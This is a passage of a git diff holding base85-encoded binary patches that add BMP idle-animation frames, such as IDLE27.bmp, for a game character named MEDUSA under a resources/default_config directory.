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 Gdi_5J&g6vv literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp new file mode 100644 index 0000000000000000000000000000000000000000..6c2dea872e97974dc15fd2c4422e39c56815b48c GIT binary patch literal 18462 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 